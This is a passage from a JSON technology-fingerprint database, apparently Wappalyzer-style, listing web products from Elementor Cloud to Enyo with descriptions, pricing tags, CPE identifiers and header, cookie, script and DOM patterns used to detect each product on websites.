\"Elementor Cloud\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Elementor Cloud is a platform for creating and hosting WordPress websites with Elementor.\",\n    \"headers\": {\n      \"x-powered-by\": \"Elementor Cloud\"\n    },\n    \"icon\": \"Elementor.svg\",\n    \"implies\": [\n      \"WordPress\",\n      \"Elementor\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"website\": \"https://elementor.com\"\n  },\n  \"Elementor Header & Footer Builder\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Elementor Header & Footer Builder is a simple yet powerful WordPress plugin that allows you to create a layout with Elementor and set it as.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/header-footer-elementor/']\"\n    ],\n    \"icon\": \"Elementor Header & Footer Builder.svg\",\n    \"implies\": [\n      \"Elementor\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\",\n      \"Elementor\"\n    ],\n    \"website\": \"https://github.com/brainstormforce/header-footer-elementor\"\n  },\n  \"ElementsKit\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"ElementsKit is an addon for Elementor that adds additional customisation options to the page builder.\",\n    \"icon\": \"elementskit.svg\",\n    \"js\": {\n      \"ElementsKit_Helper\": \"\",\n      \"elementskit\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Elementor\"\n    ],\n    \"website\": \"https://wpmet.com/plugin/elementskit\"\n  },\n  \"Elenore\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Elenore is an all-in-one business management software platform designed to streamline operations and support business growth.\",\n    \"icon\": \"Elenore.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"app\\\\.elenore\\\\.io\"\n    ],\n    \"website\": \"https://elenore.io\"\n  },\n  \"Elevar\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Elevar is an official Shopify Plus Partner data collection and marketing monitoring tool.\",\n    \"icon\": \"Elevar.svg\",\n    \"js\": {\n      \"ElevarGtmSuite\": \"\",\n      \"elevar_gtm_errors\": \"\",\n      \"webpackChunkelevar_gtm_suite_scripts\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getelevar.com\"\n  },\n  \"Eleventy\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Eleventy (11ty) a simpler static site generator.\",\n    \"icon\": \"Eleventy.svg\",\n    \"meta\": {\n      \"generator\": \"^Eleventy\\\\sv([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.11ty.dev\"\n  },\n  \"Elfsight\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Elfsight is an all-in-one platform offering 70+ customisable widgets for websites.\",\n    \"icon\": \"Elfsight.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.elfsight\\\\.com/\"\n    ],\n    \"website\": \"https://elfsight.com\"\n  },\n  \"Elgg\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:elgg:elgg:*:*:*:*:*:*:*:*\",\n    \"description\": \"Elgg is a social networking engine, delivering the building blocks for creating social networks and applications.\",\n    \"icon\": \"Elgg.svg\",\n    \"js\": {\n      \"elgg\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"elgg(?:_dataTables)?(?:\\\\/Ajax)?(?:\\\\/Plugin)?(?:\\\\/require_config)?(?:\\\\/spinner)?(?:\\\\/dev)?(?:\\\\.\\\\w{0,10})?\\\\.js\"\n    ],\n    \"website\": \"https://elgg.org/\"\n  },\n  \"EliseAI\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"EliseAI is an AI-powered conversational platform for business automation.\",\n    \"dom\": [\n      \"div#meetelise-chat-launcher-container\"\n    ],\n    \"icon\": \"EliseAI.svg\",\n    \"js\": {\n      \"eliseAi\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.eliseai.com\"\n  },\n  \"Elixir\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"Elixir is a dynamic, functional language designed for building scalable and maintainable applications.\",\n    \"icon\": \"Elixir.svg\",\n    \"implies\": [\n      \"Erlang\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://elixir-lang.org\"\n  },\n  \"ElkArte\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"ElkArte is an open-source PHP-based forum software with MySQL integration, offering features such as user authentication, topic categorisation, post formatting, private messaging, moderation tools, and customisable themes and extensions.\",\n    \"icon\": \"ElkArte.svg\",\n    \"implies\": [\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"elk_forum_action\": \"\",\n      \"elk_iso_case_folding\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.elkarte.net\"\n  },\n  \"Elliptic\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Fast Elliptic Curve Cryptography in plain javascript.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"elliptic(?:[\\\\w\\\\.-]{0,27})?(?:\\\\.bundle)?(?:\\\\.chunk)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://github.com/indutny/elliptic\"\n  },\n  \"Ellucian CRM Recruit\": {\n    \"cats\": [\n      53,\n      101\n    ],\n    \"description\": \"Ellucian CRM Recruit is a comprehensive solution that supports your entire recruiting and admissions lifecycle.\",\n    \"dom\": [\n      \" a[href*='.elluciancrmrecruit.com/']\"\n    ],\n    \"icon\": \"Ellucian CRM Recruit.svg\",\n    \"js\": {\n      \"Ellucian.Recruit\": \"\",\n      \"ellucianAddressChooseLabel\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.ellucian.com/solutions/ellucian-crm-recruit\"\n  },\n  \"Elm\": {\n    \"cats\": [\n      27,\n      12\n    ],\n    \"description\": \"Elm is a statically typed functional programming language created by Evan Czaplicki in 2012 for building web applications.\",\n    \"icon\": \"elm.svg\",\n    \"js\": {\n      \"Elm.Main.embed\": \"\\\\;version:0.18\",\n      \"Elm.Main.init\": \"\\\\;version:0.19\"\n    },\n    \"oss\": true,\n    \"website\": \"https://elm-lang.org/\"\n  },\n  \"Elm-ui\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Elm-UI is a library for creating user interfaces in Elm programming language. It provides a set of functions and abstractions for building responsive and reusable UI components, such as buttons, forms, and layouts, in a declarative and type-safe way.\",\n    \"html\": [\n      \"<style>[\\\\s\\\\S]*\\\\.explain > \\\\.s[\\\\s\\\\S]*\\\\.explain > \\\\.ctr > \\\\.s\"\n    ],\n    \"icon\": \"elm.svg\",\n    \"implies\": [\n      \"Elm\"\n    ],\n    \"website\": \"https://github.com/mdgriffith/elm-ui\"\n  },\n  \"Eloomi\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Eloomi is a cloud-based learning management system (LMS) and performance management platform.\",\n    \"icon\": \"Eloomi.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//cdn\\\\.eloomi\\\\.com/\"\n    ],\n    \"website\": \"https://eloomi.com\"\n  },\n  \"Elopage\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Elopage is a tool made for entrepreneurs to setup, manage, and scale their digital businesses around digital products, online courses, memberships, tickets, and digital services.\",\n    \"dom\": [\n      \"iframe[src*='elopage.com']\"\n    ],\n    \"icon\": \"Elopage.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.myelopage\\\\.com/\"\n    ],\n    \"website\": \"https://elopage.com\"\n  },\n  \"Eloqua\": {\n    \"cats\": [\n      32\n    ],\n    \"cookies\": {\n      \"ELOQUA\": \"\"\n    },\n    \"description\": \"Eloqua is a Software-as-a-Service (SaaS) platform for marketing automation offered that aims to help B2B marketers and organisations manage marketing campaigns and sales lead generation.\",\n    \"icon\": \"Oracle.svg\",\n    \"js\": {\n      \"_elq\": \"\",\n      \"_elqQ\": \"\",\n      \"eloqContactData\": \"\",\n      \"eloquaActionSettings\": \"\",\n      \"elqCookieValue\": \"\",\n      \"elqCurESite\": \"\",\n      \"elqLoad\": \"\",\n      \"elqSiteID\": \"\",\n      \"elq_global\": \"\"\n    },\n    \"scriptSrc\": [\n      \"elqCfg\\\\.js\"\n    ],\n    \"website\": \"https://eloqua.com\"\n  },\n  \"Email Encoder for Wordpress\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Protect email addresses and phone numbers from spambots.\",\n    \"dom\": [\n      \"link#eeb-css-frontend-css, link[href*='/wp-content/plugins/email-encoder-bundle/']\"\n    ],\n    \"icon\": \"Email Encoder for Wordpress.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"email-encoder-bundle(?:\\\\/core)?(?:\\\\/includes)?(?:\\\\/assets)?(?:\\\\/js)?(?:\\\\/custom)?(?:\\\\/encoder-form)?\\\\.js\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/email-encoder-bundle\"\n  },\n  \"EmailJS\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"EmailJS is a cloud-based email delivery service that allows you to send emails directly from your client-side JavaScript code without the need for a server-side implementation.\",\n    \"icon\": \"EmailJS.svg\",\n    \"js\": {\n      \"emailjs.sendForm\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"([\\\\d\\\\.]+)?(?:/dist)?/email\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.emailjs.com\"\n  },\n  \"Emanda\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Emanda is a platform offering SMS Marketing and Smart Email Marketing solutions.\",\n    \"icon\": \"Emanda.svg\",\n    \"js\": {\n      \"linkEmanda\": \"\",\n      \"srcEmaScript\": \"app\\\\.emanda\\\\.com\\\\.br/\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.emanda\\\\.com\\\\.br/\"\n    ],\n    \"website\": \"https://emanda.com.br\"\n  },\n  \"Emarsys\": {\n    \"cats\": [\n      32,\n      97\n    ],\n    \"description\": \"Emarsys is a cloud-based B2C marketing platform.\",\n    \"icon\": \"Emarsys.svg\",\n    \"js\": {\n      \"Scarab\": \"\",\n      \"ScarabQueue\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?:static|cdn)\\\\.scarabresearch\\\\.com\"\n    ],\n    \"website\": \"https://emarsys.com/\"\n  },\n  \"Ematic Solutions\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Ematic Solutions is part of Ematic Group and started to revolve around transforming email marketing into an ROI machine.\",\n    \"icon\": \"Ematic Solutions.svg\",\n    \"js\": {\n      \"EmaticsObject\": \"\",\n      \"ematicApikey\": \"\",\n      \"ematics\": \"\",\n      \"ematicsSubscribe\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ematicsolutions.com\"\n  },\n  \"Embed Any Document\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Embed PDF, DOC, PPT and XLS documents easily on your WordPress website.\",\n    \"dom\": [\n      \"#awsm-ead-public-css, link[href*='/wp-content/plugins/embed-any-document/']\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"embed-any-document(?:\\\\/js)?(?:\\\\/embed-public)?(?:\\\\/pdfobject)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/embed-any-document\"\n  },\n  \"Embed PDF Viewer\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Embed a PDF from the Media Library or elsewhere via oEmbed.\",\n    \"dom\": [\n      \"#embed-pdf-viewer-css, link[href*='/wp-content/plugins/embed-pdf-viewer/']\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/embed-pdf-viewer\"\n  },\n  \"EmbedPlus\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"EmbedPlus is a WordPress plugin for YouTube allows you to embed gallery, channel, playlist, or even live stream on your webpage.\",\n    \"icon\": \"EmbedPlus.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/youtube-embed-plus(?:-pro)?/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.embedplus.com\"\n  },\n  \"EmbedPress\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Embed videos, images, posts, audio, maps and upload PDF, DOC, PPT in Wordpress.\",\n    \"dom\": [\n      \"#embedpress-css, #embedpress-elementor-css-css, #embedpress_blocks-cgb-style-css-css, link[href*='/wp-content/plugins/embedpress/']\"\n    ],\n    \"icon\": \"EmbedPress.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"embedpress(?:\\\\/assets)?(?:\\\\/js)?(?:\\\\/ads)?(?:\\\\/pdfobject)?(?:\\\\/front)?(?:\\\\/documents-viewer-script)?(?:\\\\/vimeo-player)?(?:\\\\/initplyr)?(?:\\\\/plyr)?(?:\\\\.polyfilled)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/embedpress\"\n  },\n  \"EmbedSocial\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"EmbedSocial is a social media management platform.\",\n    \"icon\": \"EmbedSocial.svg\",\n    \"js\": {\n      \"EMBEDSOCIALHASHTAG\": \"\",\n      \"EmbedSocialIframeLightbox\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"embedsocial\\\\.com/\"\n    ],\n    \"website\": \"https://embedsocial.com\"\n  },\n  \"EmbedThis Appweb\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"Mbedthis-Appweb(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Embedthis.svg\",\n    \"website\": \"https://embedthis.com/appweb\"\n  },\n  \"Embedly\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Embedly is a service that allows developers to convert URLs into rich previews and embeddable content.\",\n    \"dom\": [\n      \"div.w-embed > iframe.embedly-embed\"\n    ],\n    \"icon\": \"Embedly.svg\",\n    \"js\": {\n      \"embedly\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.embedly\\\\.com/\"\n    ],\n    \"website\": \"https://embed.ly\"\n  },\n  \"Ember.js\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:emberjs:ember.js:*:*:*:*:*:*:*:*\",\n    \"description\": \"Ember.js is a comprehensive JavaScript framework that simplifies the development of modern web applications by providing a powerful CLI, a built-in router, and a fast rendering engine.\",\n    \"icon\": \"Ember.js.svg\",\n    \"js\": {\n      \"Ember\": \"\",\n      \"Ember.VERSION\": \"^(.+)$\\\\;version:\\\\1\",\n      \"EmberENV\": \"\"\n    },\n    \"scripts\": [\n      \"@overview\\\\s+Ember -[\\\\s\\\\S]+@version\\\\s+(.+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://emberjs.com\"\n  },\n  \"Emotion\": {\n    \"cats\": [\n      12,\n      47\n    ],\n    \"description\": \"Emotion is a library designed for writing CSS styles with JavaScript.\",\n    \"dom\": [\n      \"style[data-emotion], style[data-emotion-css]\"\n    ],\n    \"icon\": \"Emotion.svg\",\n    \"oss\": true,\n    \"website\": \"https://emotion.sh\"\n  },\n  \"Emotive\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Emotive is a computer software company that provides SaaS, Mobile Marketing, NLP, machine learning, and B2B.\",\n    \"icon\": \"Emotive.svg\",\n    \"js\": {\n      \"emotivePopupInitializing\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"emotivecdn\\\\.io/\"\n    ],\n    \"website\": \"https://emotive.io\"\n  },\n  \"Emplifi UGC\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Emplifi UGC is a platform that helps brands curate, measure, and integrate user-generated content to enhance engagement, authenticity, and ecommerce performance by offering features like product page galleries, social media contests, shoppable content, and detailed analytics.\",\n    \"icon\": \"Emplifi.svg\",\n    \"js\": {\n      \"Pixlee\": \"\",\n      \"Pixlee_Analytics\": \"\",\n      \"TurnTo\": \"\",\n      \"turnToConfig\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.pixlee\\\\.com\"\n    ],\n    \"website\": \"https://emplifi.io/products/social-commerce/social-ugc\"\n  },\n  \"Empretienda\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Empretienda is a platform that allows you to create and manage your own online store.\",\n    \"headers\": {\n      \"set-cookie\": \"^EMPRETIENDA_SESSION\"\n    },\n    \"icon\": \"Empretienda.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.empretienda.com\"\n  },\n  \"Enable\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Enable is a web accessibility plugin by uPress.\",\n    \"icon\": \"Enable.svg\",\n    \"js\": {\n      \"enable_toolbar.is_premium\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.enable\\\\.co\\\\.il/\"\n    ],\n    \"website\": \"https://www.enable.co.il\"\n  },\n  \"Enalyzer\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Enalyzer is an online survey creation platform.\",\n    \"icon\": \"Enalyzer.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"surveys\\\\.enalyzer\\\\.com/\"\n    ],\n    \"website\": \"https://www.enalyzer.com\"\n  },\n  \"Endurance Page Cache\": {\n    \"cats\": [\n      87,\n      23\n    ],\n    \"description\": \"Endurance Page Cache adds basic file-based caching to WordPress.\",\n    \"headers\": {\n      \"x-endurance-cache-level\": \"\"\n    },\n    \"icon\": \"endurance-cache.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://github.com/bluehost/endurance-page-cache\"\n  },\n  \"EngagementHQ\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Essential software for changemakers. Facilitate, centralize, and analyze two-way conversations between you and your community.\",\n    \"dom\": [\n      \"link[href*='ehq-production-']\"\n    ],\n    \"icon\": \"EngagementHQ.svg\",\n    \"website\": \"https://granicus.com/solution/govdelivery/engagementhq/\"\n  },\n  \"Engagio\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Engagio.png\",\n    \"scriptSrc\": [\n      \"web-analytics\\\\.engagio\\\\.com/js/ei\\\\.js\",\n      \"web-analytics\\\\.engagio\\\\.com/api/\"\n    ],\n    \"website\": \"https://www.engagio.com/\"\n  },\n  \"Engati\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Engati is a chatbot platform that allows users to build bots without requiring programming skills.\",\n    \"icon\": \"Engati.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.engati\\\\.com/\"\n    ],\n    \"website\": \"https://www.engati.com\"\n  },\n  \"Engintron\": {\n    \"cats\": [\n      33\n    ],\n    \"description\": \"Engintron is a plugin that integrates Nginx to cPanel/WHM server.\",\n    \"headers\": {\n      \"X-Server-Powered-By\": \"^Engintron$\"\n    },\n    \"icon\": \"engintron.png\",\n    \"requires\": [\n      \"Nginx\"\n    ],\n    \"website\": \"https://github.com/engintron/engintron\"\n  },\n  \"Enigma\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Enigma is the popular superfine multipurpose responsive WordPress theme from Infigo Software.\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/enigma/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/enigma\"\n  },\n  \"Enjin CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Enjin CMS is a content management system which focused creation of websites for gaming guilds, clans, Minecraft servers, or fan communities.\",\n    \"icon\": \"Enjin.svg\",\n    \"js\": {\n      \"Enjin_Core_Storage_Cache\": \"\",\n      \"Enjin_UI\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.enjin\\\\.com/\"\n    ],\n    \"website\": \"https://www.enjin.com\"\n  },\n  \"Enjore\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Enjore is an online sports administration system designed to manage schedules, results, statistics, and news for all leagues and tournaments.\",\n    \"dom\": [\n      \"link[href*='cdn.enjore.com/']\"\n    ],\n    \"icon\": \"Enjore.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"PHP\",\n      \"AddToAny\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.enjore.com\"\n  },\n  \"Enkod\": {\n    \"cats\": [\n      32,\n      97\n    ],\n    \"description\": \"Enkod is a CDP platform designed for marketing automation.\",\n    \"icon\": \"Enkod.svg\",\n    \"js\": {\n      \"enKodBox.token\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://enkod.io\"\n  },\n  \"Enlistly\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Enlistly tracks referral orders in realtime. Orders that are partially refunded, refunded, or cancelled update on the fly.\",\n    \"icon\": \"Enlistly.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.enlistly\\\\.com/\"\n    ],\n    \"website\": \"https://enlistly.com\"\n  },\n  \"Enonic\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"com-enonic-app-ga_disabled\": \"\"\n    },\n    \"description\": \"Enonic is a platform that helps you to create digital experiences by structuring and composing content.\",\n    \"icon\": \"Enonic.svg\",\n    \"meta\": {\n      \"author\": \"^Enonic$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.enonic.com\"\n  },\n  \"Enquire.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"enquire.js is a lightweight, pure JavaScript library for responding to CSS media queries.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"enquire(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wicky.nillia.ms/enquire.js/\"\n  },\n  \"Ensi\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ensi is an open source ecommerce platform based on service oriented architecture.\",\n    \"headers\": {\n      \"X-Ensi-Platform\": \"\"\n    },\n    \"icon\": \"Ensi.svg\",\n    \"meta\": {\n      \"generator\": \"Ensi Platform\"\n    },\n    \"oss\": true,\n    \"website\": \"https://ensi.tech\"\n  },\n  \"Ensighten\": {\n    \"cats\": [\n      42\n    ],\n    \"description\": \"Ensighten is a solution that enables secure management, implementation and control of website technologies.\",\n    \"icon\": \"ensighten.png\",\n    \"scriptSrc\": [\n      \"//nexus\\\\.ensighten\\\\.com/\"\n    ],\n    \"website\": \"https://success.ensighten.com/hc/en-us\"\n  },\n  \"Enterprise Bot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Enterprise Bot specializes in developing and deploying complex conversational AI systems tailored for enterprise settings, leveraging natural language processing, machine learning, and automation to improve customer interactions and streamline operations.\",\n    \"icon\": \"Enterprise Bot.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.enterprisebot\\\\.co/\"\n    ],\n    \"website\": \"https://www.enterprisebot.ai\"\n  },\n  \"Entrust\": {\n    \"cats\": [\n      70\n    ],\n    \"description\": \"Entrust is a provider of SSL certificate badge for websites.\",\n    \"icon\": \"Entrust.svg\",\n    \"js\": {\n      \"goEntrust\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"seal\\\\.entrust\\\\.net/\"\n    ],\n    \"website\": \"https://www.entrust.com/products/digital-certificates\"\n  },\n  \"Envialia\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"\",\n    \"icon\": \"Envialia.png\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bEnvialia\\\\b\"\n    ],\n    \"website\": \"https://www.envialia.com\"\n  },\n  \"Envo Shop\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Envo Shop is a fast, clean and modern-looking responsive free WooCommerce WordPress theme by Envo Themes.\",\n    \"icon\": \"Envo Themes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/envo-shop/.+customscript\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://envothemes.com/free-envo-shop\"\n  },\n  \"Envo Storefront\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Envo Storefront is a fast, clean and modern-looking responsive WooCommerce theme for WordPress.\",\n    \"icon\": \"Envo Themes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/envo-storefront/.+customscript\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://envothemes.com/free-envo-storefront\"\n  },\n  \"Envo eCommerce\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Envo eCommerce is a fast, clean and modern-looking responsive free WooCommerce theme for WordPress.\",\n    \"icon\": \"Envo Themes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/envo-ecommerce/.+customscript\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://envothemes.com/free-envo-ecommerce/\"\n  },\n  \"Envoke\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"Envoke is a CASL-compliant email marketing software designed for communications professionals in business, education, and the public sector, with a focus on security and compliance.\",\n    \"icon\": \"Envoke.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.envoke\\\\.com/\"\n    ],\n    \"website\": \"https://envoke.com/\"\n  },\n  \"Envoy\": {\n    \"cats\": [\n      64\n    ],\n    \"cpe\": \"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*\",\n    \"description\": \"Envoy is an open-source edge and service proxy, designed for cloud-native applications.\",\n    \"headers\": {\n      \"Server\": \"^envoy$\",\n      \"x-envoy-upstream-service-time\": \"\"\n    },\n    \"icon\": \"Envoy.svg\",\n    \"website\": \"https://www.envoyproxy.io/\"\n  },\n  \"Envybox\": {\n    \"cats\": [\n      5,\n      52\n    ],\n    \"description\": \"Envybox is a multiservice for increasing sales.\",\n    \"icon\": \"Envybox.svg\",\n    \"js\": {\n      \"EnvyWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.saas-support\\\\.com/\"\n    ],\n    \"website\": \"https://envybox.io\"\n  },\n  \"Enyo\": {\n    \"cats\": [\n      12,\n      26\n    ],\n    \"description\": \"Enyo is an open-source JavaScript framework for cross-platform for mobile, desktop, TV and web applications.\",\n  